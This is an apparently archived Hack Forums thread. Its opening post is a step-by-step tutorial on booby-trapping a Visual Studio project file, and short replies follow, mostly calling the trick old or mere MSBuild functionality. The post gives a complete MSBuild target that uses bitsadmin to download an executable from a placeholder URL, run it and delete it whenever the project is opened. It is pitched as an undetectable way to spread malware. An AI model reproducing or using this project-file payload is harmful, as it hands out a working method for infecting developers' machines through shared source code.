[TUT] Visual Studio 0day Exploit [Spread Through Visual Studio] [FUD]

[TUT] Visual Studio 0day Exploit [Spread Through Visual Studio] [FUD] - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Beginner Hacking (https://hackforums.net/forumdisplay.php?fid=4)
+---- Thread: [TUT] Visual Studio 0day Exploit [Spread Through Visual Studio] [FUD] (/showthread.php?tid=5491785)

[TUT] Visual Studio 0day Exploit [Spread Through Visual Studio] [FUD] - Furz - Dec 12, 2016

Step 1: Create a new project in visual studio
Step 2: Find the .vbproj/.csproj file and edit it
Step 3: On the second line, it should have something similar to this

PHP Code 


<?php 
<Project ToolsVersion="14.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> 

Edit this like to incluide

PHP Code 


<?php 
InitialTargets="Build" 

The name can be whatever you want, I just thought "build" would be inconspicuous
The final product will look like:

PHP Code 


<?php 
<Project ToolsVersion="14.0" InitialTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> 

Step 4:

Add this to the end of the file, but before the closing "</project>" tag

PHP Code 


<?php 
<Target Name="Buislfd">
    <Exec Command="bitsadmin.exe /transfer NAME http://directdownload.to/your.exe %temp%\1.exe" >
      <Output TaskParameter="ExitCode" PropertyName="ErrorCode" />
    </Exec>
    <Exec Command="%temp%\1.exe" >
      <Output TaskParameter="ExitCode" PropertyName="ErrorCode" />
    </Exec>
    <Exec Command="del %temp%\1.exe" >
      <Output TaskParameter="ExitCode" PropertyName="ErrorCode" />
    </Exec>
    <Message Importance="high" Text="$(ErrorCode)" />
  </Target> 

And save the file

Now, whenever someone runs opens your project in Visual Studio, it will download and exec your file

Proof (Click to View)

* - Faith Connors - Dec 12, 2016

Well this isn't really a 0day anymore, now is it.

* - THC - Dec 12, 2016

(Dec 12, 2016 09:53 AM)Faith Connors Wrote: Well this isn't really a 0day anymore, now is it.

Yeah....
Plus I've seen something very similar on another forum. Good share though.

* - Bossk - Dec 12, 2016

Well, I'm never looking at source code again. Thanks for the share

* - DopplerAF - Dec 12, 2016

(Dec 12, 2016 12:01 PM)Bossk Wrote: Well, I'm never looking at source code again. Thanks for the share

You can always check the file before opening it.
This is a way old method and obviously its not a 0day.

* - JavaDriveBy - Dec 12, 2016

Posting to comeback later.

* - Kryptonet - May 11, 2017

Eyy it does not work Can someone help me with this

RE: [TUT] Visual Studio 0day Exploit [Spread Through Visual Studio] [FUD] - SIM-2564555 - Nov 4, 2017

good method but it known for ages, also all users get notifications before start any project and every one can check it manually before using the project

RE: [TUT] Visual Studio 0day Exploit [Spread Through Visual Studio] [FUD] - Phire - Nov 5, 2017

Didn’t know about this one, nice share..

RE: [TUT] Visual Studio 0day Exploit [Spread Through Visual Studio] [FUD] - fxbg - Nov 5, 2017

Just so we are clear, this isn't an exploit, its functionality.

RE: [TUT] Visual Studio 0day Exploit [Spread Through Visual Studio] [FUD] - HiddenEyE - May 26, 2018

nice to have you share it here mate

RE: [TUT] Visual Studio 0day Exploit [Spread Through Visual Studio] [FUD] - xfamily123 - May 28, 2018

good method and good job !